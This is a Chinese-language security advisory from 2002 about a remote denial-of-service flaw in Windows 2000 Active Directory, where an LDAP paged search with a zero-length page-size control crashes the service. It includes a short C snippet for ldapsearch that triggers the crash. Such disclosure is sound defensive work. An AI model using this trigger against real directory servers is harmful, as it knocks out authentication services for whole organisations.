xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Active Directory零长度页面查询存在漏洞


发布时间:2002-05-28
更新时间:2002-05-28
严重程度:
威胁程度:远程拒绝服务
错误类型:意外情况处置错误
利用方式:服务器模式

BUGTRAQ ID:4804

受影响系统
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
详细描述
Microsoft Active Directory存在漏洞,一个查询可导致Active Directory停止响应。

问题出现在通过GSS-API使用Kerberos V验证来查询Active Directory的环境下。

一个LDAP客户端可指定页面长度为零的情况下查询Active Directory,由于Active Directory没有检查零特殊的情况,客户端发送此类很大的请求可导致Active Directory崩溃。

如把下面的代码加入ldapsearch工具中:

---------------------------------------
LDAPControl c;
LDAPControl *ctrls[2];
ctrls[0] = &c;
ctrls[1] = NULL;

c.ldctl_oid = "1.2.840.113556.1.4.319";
c.ldctl_value.bv_val = NULL;
c.ldctl_value.bv_len = 0;
c.ldctl_iscritical = 0;

ldap_set_option(ld,LDAP_OPT_SERVER_CONTROLS,ctrls);
----------------------------------------

并向Active Directory执行paged search,可使Active Directory崩溃。

测试代码
见描述

解决方案
尚无

相关信息
Jonathan Lamberson <jlambers@umich.edu>.
参考:http://online.securityfocus.com/archive/1/273771